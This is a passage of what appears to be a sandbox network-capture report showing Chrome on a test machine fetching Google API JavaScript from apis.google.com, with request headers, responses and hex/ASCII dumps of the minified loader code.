2024-11-14 19:43:08 UTC	1378	IN	Data Raw: 7b 70 61 72 61 6d 73 3a 7b 75 72 6c 3a 22 22 7d 2c 75 72 6c 3a 22 3a 73 6f 63 69 61 6c 68 6f 73 74 3a 2f 3a 73 65 73 73 69 6f 6e 5f 70 72 65 66 69 78 3a 5f 2f 77 69 64 67 65 74 2f 72 65 6e 64 65 72 2f 73 69 67 6e 69 6e 3f 75 73 65 67 61 70 69 3d 31 22 2c 6d 65 74 68 6f 64 73 3a 5b 22 6f 6e 61 75 74 68 22 5d 7d 2c 72 62 72 5f 69 3a 7b 70 61 72 61 6d 73 3a 7b 75 72 6c 3a 22 22 7d 2c 75 72 6c 3a 22 3a 73 6f 63 69 61 6c 68 6f 73 74 3a 2f 3a 73 65 73 73 69 6f 6e 5f 70 72 65 66 69 78 3a 3a 73 65 3a 5f 2f 77 69 64 67 65 74 2f 72 65 6e 64 65 72 2f 72 65 63 6f 62 61 72 69 6e 76 69 74 61 74 69 6f 6e 22 7d 2c 73 68 61 72 65 3a 7b 75 72 6c 3a 22 3a 73 6f 63 69 61 6c 68 6f 73 74 3a 2f 3a 73 65 73 73 69 6f 6e 5f 70 72 65 66 69 78 3a 3a 69 6d 5f 70 72 65 66 69 78 3a 5f Data Ascii: {params:{url:""},url:":socialhost:/:session_prefix:_/widget/render/signin?usegapi=1",methods:["onauth"]},rbr_i:{params:{url:""},url:":socialhost:/:session_prefix::se:_/widget/render/recobarinvitation"},share:{url:":socialhost:/:session_prefix::im_prefix:_

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	49819	142.250.186.46	443	3244	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:09 UTC	1026	OUT	GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=googleapis_proxy/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0?le=scs HTTP/1.1 Host: apis.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://content.googleapis.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=519=HARCkol9ZnX4w_fr3Y3wIXqkrbs22bPhQWaXqJDGkZ_X47fXtuoyIjJbTsaFAR9Xf91spZFcHrLh5EdnCKTyD1ksW48L3IoUPshpeAOCIXr0E3nIliBh7ioYT-1_61fpewGFIyfFt2E6x99zvhSFXAOar1EFDjL6oJrIK_E0t8KBoN5xanfMZ_KX256zIsyO
2024-11-14 19:43:10 UTC	915	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/social-frontend-mpm-access Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="social-frontend-mpm-access" Report-To: {"group":"social-frontend-mpm-access","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/social-frontend-mpm-access"}]} Content-Length: 75049 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Wed, 13 Nov 2024 12:44:19 GMT Expires: Thu, 13 Nov 2025 12:44:19 GMT Cache-Control: public, max-age=31536000 Last-Modified: Thu, 10 Oct 2024 19:55:27 GMT Content-Type: text/javascript; charset=UTF-8 Vary: Accept-Encoding Age: 111531 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-14 19:43:10 UTC	463	IN	Data Raw: 67 61 70 69 2e 6c 6f 61 64 65 64 5f 30 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 74 79 70 65 6f 66 20 73 65 6c 66 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 73 65 6c 66 3a 74 68 69 73 29 2e 5f 46 5f 74 6f 67 67 6c 65 73 3d 61 7c 7c 5b 5d 7d 3b 28 30 2c 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 29 28 5b 30 78 38 30 30 30 30 30 2c 20 5d 29 3b 0a 76 61 72 20 64 61 2c 65 61 2c 68 61 2c 6e 61 2c 6f 61 2c 73 61 2c 74 61 2c 77 61 3b 64 61 3d 66 75 6e Data Ascii: gapi.loaded_0(function(_){var window=this;_._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);var da,ea,ha,na,oa,sa,ta,wa;da=fun
2024-11-14 19:43:10 UTC	1378	IN	Data Raw: 74 6f 74 79 70 65 29 72 65 74 75 72 6e 20 61 3b 61 5b 62 5d 3d 63 2e 76 61 6c 75 65 3b 72 65 74 75 72 6e 20 61 7d 3b 0a 68 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 5b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2c 61 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 5d 3b 66 6f 72 28 76 61 72 20 62 3d 30 3b 62 3c 61 2e 6c 65 6e 67 74 68 3b 2b 2b 62 29 7b 76 61 72 20 63 3d 61 5b 62 5d 3b 69 66 28 63 26 26 63 2e 4d 61 74 68 3d 3d 4d 61 74 68 29 72 65 74 75 Data Ascii: totype)return a;a[b]=c.value;return a};ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)retu
2024-11-14 19:43:10 UTC	1378	IN	Data Raw: 61 72 20 62 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 26 26 61 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3b 69 66 28 62 29 72 65 74 75 72 6e 20 62 2e 63 61 6c 6c 28 61 29 3b 69 66 28 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 3d 3d 22 6e 75 6d 62 65 72 22 29 72 65 74 75 72 6e 7b 6e 65 78 74 3a 64 61 28 61 29 7d 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 22 62 60 22 2b 53 74 72 69 6e 67 28 61 29 29 3b 7d 3b 73 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 61 2c 62 29 7d 3b 74 61 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 61 73 Data Ascii: ar b=typeof Symbol!="undefined"&&Symbol.iterator&&a[Symbol.iterator];if(b)return b.call(a);if(typeof a.length=="number")return{next:da(a)};throw Error("b`"+String(a));};sa=function(a,b){return Object.prototype.hasOwnProperty.call(a,b)};ta=typeof Object.as
2024-11-14 19:43:10 UTC	1378	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 68 29 7b 74 68 69 73 2e 46 61 3d 30 3b 74 68 69 73 2e 77 66 3d 76 6f 69 64 20 30 3b 74 68 69 73 2e 4e 72 3d 5b 5d 3b 74 68 69 73 2e 68 56 3d 21 31 3b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 74 72 79 7b 68 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 63 61 74 63 68 28 6c 29 7b 6b 2e 72 65 6a 65 63 74 28 6c 29 7d 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 6a 46 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 68 28 6d 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 6c 7c 7c 28 6c 3d 21 30 2c 6d 2e 63 61 6c 6c 28 6b 2c 6e 29 29 7d 7d 76 61 72 20 6b 3d 74 68 69 73 2c 6c 3d 21 31 3b 72 65 74 75 72 6e 7b 72 65 73 6f 6c 76 65 3a 68 28 74 68 69 73 2e 53 64 61 29 2c 72 65 6a 65 63 74 Data Ascii: function(h){this.Fa=0;this.wf=void 0;this.Nr=[];this.hV=!1;var k=this.jF();try{h(k.resolve,k.reject)}catch(l){k.reject(l)}};e.prototype.jF=function(){function h(m){return function(n){l\|\|(l=!0,m.call(k,n))}}var k=this,l=!1;return{resolve:h(this.Sda),reject
2024-11-14 19:43:10 UTC	1378	IN	Data Raw: 70 72 6f 6d 69 73 65 3d 74 68 69 73 3b 68 2e 72 65 61 73 6f 6e 3d 74 68 69 73 2e 77 66 3b 72 65 74 75 72 6e 20 6c 28 68 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 47 37 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 74 68 69 73 2e 4e 72 21 3d 6e 75 6c 6c 29 7b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 74 68 69 73 2e 4e 72 2e 6c 65 6e 67 74 68 3b 2b 2b 68 29 66 2e 58 4f 28 74 68 69 73 2e 4e 72 5b 68 5d 29 3b 0a 74 68 69 73 2e 4e 72 3d 6e 75 6c 6c 7d 7d 3b 76 61 72 20 66 3d 6e 65 77 20 62 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 79 66 61 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 68 2e 69 79 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 7a 66 61 3d 66 75 6e 63 Data Ascii: promise=this;h.reason=this.wf;return l(h)};e.prototype.G7=function(){if(this.Nr!=null){for(var h=0;h<this.Nr.length;++h)f.XO(this.Nr[h]);this.Nr=null}};var f=new b;e.prototype.yfa=function(h){var k=this.jF();h.iy(k.resolve,k.reject)};e.prototype.zfa=func
2024-11-14 19:43:10 UTC	1378	IN	Data Raw: 6f 72 28 22 46 69 72 73 74 20 61 72 67 75 6d 65 6e 74 20 74 6f 20 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 22 2b 63 2b 22 20 6d 75 73 74 20 6e 6f 74 20 62 65 20 61 20 72 65 67 75 6c 61 72 20 65 78 70 72 65 73 73 69 6f 6e 22 29 3b 72 65 74 75 72 6e 20 61 2b 22 22 7d 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 73 74 61 72 74 73 57 69 74 68 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 76 61 72 20 64 3d 45 61 28 74 68 69 73 2c 62 2c 22 73 74 61 72 74 73 57 69 74 68 22 29 2c 65 3d 64 2e 6c 65 6e 67 74 68 2c 66 3d 62 2e 6c 65 6e 67 74 68 3b 63 3d 4d 61 74 68 2e 6d 61 78 28 30 2c 4d 61 74 68 2e 6d 69 6e 28 63 7c 30 2c 64 2e 6c 65 6e 67 74 68 29 29 3b 66 6f Data Ascii: or("First argument to String.prototype."+c+" must not be a regular expression");return a+""};na("String.prototype.startsWith",function(a){return a?a:function(b,c){var d=Ea(this,b,"startsWith"),e=d.length,f=b.length;c=Math.max(0,Math.min(c\|0,d.length));fo
2024-11-14 19:43:10 UTC	1378	IN	Data Raw: 72 20 68 3d 30 2c 6b 3d 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 74 68 69 73 2e 47 61 3d 28 68 2b 3d 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2b 31 29 2e 74 6f 53 74 72 69 6e 67 28 29 3b 69 66 28 6c 29 7b 6c 3d 5f 2e 72 61 28 6c 29 3b 66 6f 72 28 76 61 72 20 6d 3b 21 28 6d 3d 6c 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 6d 3d 6d 2e 76 61 6c 75 65 2c 74 68 69 73 2e 73 65 74 28 6d 5b 30 5d 2c 6d 5b 31 5d 29 7d 7d 3b 6b 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 29 7b 69 66 28 21 63 28 6c 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 65 22 29 3b 64 28 6c 29 3b 69 66 28 21 73 61 28 6c 2c 66 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 66 60 22 2b 6c 29 3b 6c 5b 66 5d 5b 74 68 69 73 2e 47 61 5d 3d 6d 3b 72 65 74 75 72 6e 20 74 Data Ascii: r h=0,k=function(l){this.Ga=(h+=Math.random()+1).toString();if(l){l=_.ra(l);for(var m;!(m=l.next()).done;)m=m.value,this.set(m[0],m[1])}};k.prototype.set=function(l,m){if(!c(l))throw Error("e");d(l);if(!sa(l,f))throw Error("f`"+l);l[f][this.Ga]=m;return t
2024-11-14 19:43:10 UTC	1378	IN	Data Raw: 65 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 6b 3d 64 28 74 68 69 73 2c 6b 29 3b 72 65 74 75 72 6e 20 6b 2e 5a 65 26 26 6b 2e 6c 69 73 74 3f 28 6b 2e 6c 69 73 74 2e 73 70 6c 69 63 65 28 6b 2e 69 6e 64 65 78 2c 31 29 2c 6b 2e 6c 69 73 74 2e 6c 65 6e 67 74 68 7c 7c 64 65 6c 65 74 65 20 74 68 69 73 5b 30 5d 5b 6b 2e 69 64 5d 2c 6b 2e 5a 65 2e 52 6b 2e 6e 65 78 74 3d 6b 2e 5a 65 2e 6e 65 78 74 2c 6b 2e 5a 65 2e 6e 65 78 74 2e 52 6b 3d 0a 6b 2e 5a 65 2e 52 6b 2c 6b 2e 5a 65 2e 68 65 61 64 3d 6e 75 6c 6c 2c 74 68 69 73 2e 73 69 7a 65 2d 2d 2c 21 30 29 3a 21 31 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6c 65 61 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 5b 30 5d 3d 7b 7d 3b 74 68 69 73 5b 31 5d 3d 74 68 69 73 5b 31 5d 2e 52 6b 3d 66 28 29 3b 74 68 69 73 Data Ascii: e=function(k){k=d(this,k);return k.Ze&&k.list?(k.list.splice(k.index,1),k.list.length\|\|delete this[0][k.id],k.Ze.Rk.next=k.Ze.next,k.Ze.next.Rk=k.Ze.Rk,k.Ze.head=null,this.size--,!0):!1};c.prototype.clear=function(){this[0]={};this[1]=this[1].Rk=f();this
2024-11-14 19:43:10 UTC	1378	IN	Data Raw: 70 65 2e 65 6e 74 72 69 65 73 7c 7c 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 73 65 61 6c 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 31 3b 74 72 79 7b 76 61 72 20 63 3d 4f 62 6a 65 63 74 2e 73 65 61 6c 28 7b 78 3a 34 7d 29 2c 64 3d 6e 65 77 20 61 28 5f 2e 72 61 28 5b 63 5d 29 29 3b 69 66 28 21 64 2e 68 61 73 28 63 29 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 63 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 7b 78 3a 34 7d 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 32 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 65 3d 64 2e 65 6e 74 72 69 65 73 28 29 2c 66 3d 65 2e 6e 65 78 74 28 29 3b 69 66 28 66 2e 64 6f 6e 65 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 21 3d 63 7c 7c 66 2e 76 61 6c 75 65 5b 31 5d 21 3d 63 29 72 Data Ascii: pe.entries\|\|typeof Object.seal!="function")return!1;try{var c=Object.seal({x:4}),d=new a(_.ra([c]));if(!d.has(c)\|\|d.size!=1\|\|d.add(c)!=d\|\|d.size!=1\|\|d.add({x:4})!=d\|\|d.size!=2)return!1;var e=d.entries(),f=e.next();if(f.done\|\|f.value[0]!=c\|\|f.value[1]!=c)r
2024-11-14 19:43:10 UTC	1378	IN	Data Raw: 2b 39 32 31 36 7d 7d 7d 29 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 66 72 6f 6d 43 6f 64 65 50 6f 69 6e 74 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 29 7b 66 6f 72 28 76 61 72 20 63 3d 22 22 2c 64 3d 30 3b 64 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 64 2b 2b 29 7b 76 61 72 20 65 3d 4e 75 6d 62 65 72 28 61 72 67 75 6d 65 6e 74 73 5b 64 5d 29 3b 69 66 28 65 3c 30 7c 7c 65 3e 31 31 31 34 31 31 31 7c 7c 65 21 3d 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 65 29 29 74 68 72 6f 77 20 6e 65 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 69 6e 76 61 6c 69 64 5f 63 6f 64 65 5f 70 6f 69 6e 74 20 22 2b 65 29 3b 65 3c 3d 36 35 35 33 35 3f 63 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 Data Ascii: +9216}}});na("String.fromCodePoint",function(a){return a?a:function(b){for(var c="",d=0;d<arguments.length;d++){var e=Number(arguments[d]);if(e<0\|\|e>1114111\|\|e!==Math.floor(e))throw new RangeError("invalid_code_point "+e);e<=65535?c+=String.fromCharCode(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	49820	142.250.184.238	443	3244	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:09 UTC	683	OUT	GET /js/googleapis.proxy.js?onload=startup HTTP/1.1 Host: apis.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=519=HARCkol9ZnX4w_fr3Y3wIXqkrbs22bPhQWaXqJDGkZ_X47fXtuoyIjJbTsaFAR9Xf91spZFcHrLh5EdnCKTyD1ksW48L3IoUPshpeAOCIXr0E3nIliBh7ioYT-1_61fpewGFIyfFt2E6x99zvhSFXAOar1EFDjL6oJrIK_E0t8KBoN5xanfMZ_KX256zIsyO
2024-11-14 19:43:10 UTC	837	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Vary: Accept-Encoding Content-Type: text/javascript Access-Control-Allow-Origin: * Content-Security-Policy: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/gapi-team Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="gapi-team" Report-To: {"group":"gapi-team","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gapi-team"}]} Timing-Allow-Origin: * Content-Length: 14486 Date: Thu, 14 Nov 2024 19:43:10 GMT Expires: Thu, 14 Nov 2024 19:43:10 GMT Cache-Control: private, max-age=1800, stale-while-revalidate=1800 ETag: "8529c25fa9b03753" X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-14 19:43:10 UTC	541	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 61 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 69 65 73 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 69 66 28 61 3d 3d 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 7c 7c 61 3d 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 29 72 65 74 75 72 6e 20 61 3b 61 5b 62 5d 3d 63 2e 76 61 6c 75 65 3b 72 65 74 75 72 6e 20 61 7d 2c 62 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 5b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2c 61 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e Data Ascii: (function(){var aa=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a},ba=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof win
2024-11-14 19:43:10 UTC	1378	IN	Data Raw: 66 28 21 28 65 20 69 6e 20 63 29 29 62 72 65 61 6b 20 61 3b 63 3d 63 5b 65 5d 7d 61 3d 61 5b 61 2e 6c 65 6e 67 74 68 2d 31 5d 3b 64 3d 63 5b 61 5d 3b 62 3d 62 28 64 29 3b 62 21 3d 64 26 26 62 21 3d 6e 75 6c 6c 26 26 61 61 28 63 2c 61 2c 7b 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 76 61 6c 75 65 3a 62 7d 29 7d 7d 2c 68 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 69 66 28 61 3d 3d 6e 75 6c 6c 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 54 68 65 20 27 74 68 69 73 27 20 76 61 6c 75 65 20 66 6f 72 20 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 22 2b 63 2b 22 20 6d 75 73 74 20 6e 6f 74 20 62 65 20 6e 75 6c 6c 20 6f 72 20 75 6e 64 65 66 69 6e 65 64 22 29 3b 69 66 28 62 20 69 6e 73 74 Data Ascii: f(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&aa(c,a,{configurable:!0,writable:!0,value:b})}},h=function(a,b,c){if(a==null)throw new TypeError("The 'this' value for String.prototype."+c+" must not be null or undefined");if(b inst
2024-11-14 19:43:10 UTC	1378	IN	Data Raw: 74 69 6f 6e 28 61 29 7b 69 66 28 78 21 3d 3d 78 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 42 61 64 20 73 65 63 72 65 74 22 29 3b 74 68 69 73 2e 6c 3d 61 7d 3b 79 2e 70 72 6f 74 6f 74 79 70 65 2e 74 6f 53 74 72 69 6e 67 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 6c 7d 3b 6e 65 77 20 79 28 22 61 62 6f 75 74 3a 62 6c 61 6e 6b 22 29 3b 6e 65 77 20 79 28 22 61 62 6f 75 74 3a 69 6e 76 61 6c 69 64 23 7a 43 6c 6f 73 75 72 65 7a 22 29 3b 76 61 72 20 41 3d 5b 5d 2c 44 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 41 20 55 52 4c 20 77 69 74 68 20 63 6f 6e 74 65 6e 74 20 27 22 2b 61 2b 22 27 20 77 61 73 20 73 61 6e 69 74 69 7a 65 64 20 61 77 61 79 2e 22 29 7d 3b 41 2e 69 6e 64 65 78 4f 66 28 44 29 3d 3d Data Ascii: tion(a){if(x!==x)throw Error("Bad secret");this.l=a};y.prototype.toString=function(){return this.l};new y("about:blank");new y("about:invalid#zClosurez");var A=[],D=function(a){console.warn("A URL with content '"+a+"' was sanitized away.")};A.indexOf(D)==
2024-11-14 19:43:10 UTC	1378	IN	Data Raw: 73 75 62 73 74 72 28 30 2c 32 38 29 2b 28 62 2e 6c 65 6e 67 74 68 2d 32 38 29 29 2c 63 3d 62 2c 62 3d 48 28 6b 61 2c 22 5f 70 22 2c 49 28 29 29 2c 48 28 62 2c 63 2c 49 28 29 29 5b 61 5d 3d 28 6e 65 77 20 44 61 74 65 29 2e 67 65 74 54 69 6d 65 28 29 2c 52 28 61 2c 22 5f 70 22 2c 63 29 29 7d 2c 6d 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 2e 6a 6f 69 6e 28 22 5f 5f 22 29 2e 72 65 70 6c 61 63 65 28 2f 5c 2e 2f 67 2c 22 5f 22 29 2e 72 65 70 6c 61 63 65 28 2f 5c 2d 2f 67 2c 22 5f 22 29 2e 72 65 70 6c 61 63 65 28 2f 2c 2f 67 2c 22 5f 22 29 7d 3b 76 61 72 20 6e 61 3d 49 28 29 2c 55 3d 5b 5d 2c 56 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 74 68 72 6f 77 20 45 72 72 6f 72 28 22 42 61 64 20 68 69 6e 74 3a 20 22 2b 61 29 3b 7d 3b 55 2e 70 75 73 Data Ascii: substr(0,28)+(b.length-28)),c=b,b=H(ka,"_p",I()),H(b,c,I())[a]=(new Date).getTime(),R(a,"_p",c))},ma=function(a){return a.join("__").replace(/\./g,"_").replace(/\-/g,"_").replace(/,/g,"_")};var na=I(),U=[],V=function(a){throw Error("Bad hint: "+a);};U.pus
2024-11-14 19:43:10 UTC	1378	IN	Data Raw: 6c 3b 76 61 72 20 65 3d 66 75 6e 63 74 69 6f 6e 28 66 29 7b 72 65 74 75 72 6e 20 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 66 29 2e 72 65 70 6c 61 63 65 28 2f 25 32 43 2f 67 2c 22 2c 22 29 7d 3b 72 65 74 75 72 6e 5b 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 61 2e 70 61 74 68 50 72 65 66 69 78 29 2e 72 65 70 6c 61 63 65 28 2f 25 32 43 2f 67 2c 0a 22 2c 22 29 2e 72 65 70 6c 61 63 65 28 2f 25 32 46 2f 67 2c 22 2f 22 29 2c 22 2f 6b 3d 22 2c 65 28 61 2e 76 65 72 73 69 6f 6e 29 2c 22 2f 6d 3d 22 2c 65 28 62 29 2c 64 3f 22 2f 65 78 6d 3d 22 2b 65 28 64 29 3a 22 22 2c 22 2f 72 74 3d 6a 2f 73 76 3d 31 2f 64 3d 31 2f 65 64 3d 31 22 2c 61 2e 67 3f 22 2f 61 6d 3d 22 2b 65 28 61 2e 67 29 3a 22 22 2c 61 2e 69 3f 22 2f 72 73 3d 22 2b 65 28 Data Ascii: l;var e=function(f){return encodeURIComponent(f).replace(/%2C/g,",")};return[encodeURIComponent(a.pathPrefix).replace(/%2C/g,",").replace(/%2F/g,"/"),"/k=",e(a.version),"/m=",e(b),d?"/exm="+e(d):"","/rt=j/sv=1/d=1/ed=1",a.g?"/am="+e(a.g):"",a.i?"/rs="+e(
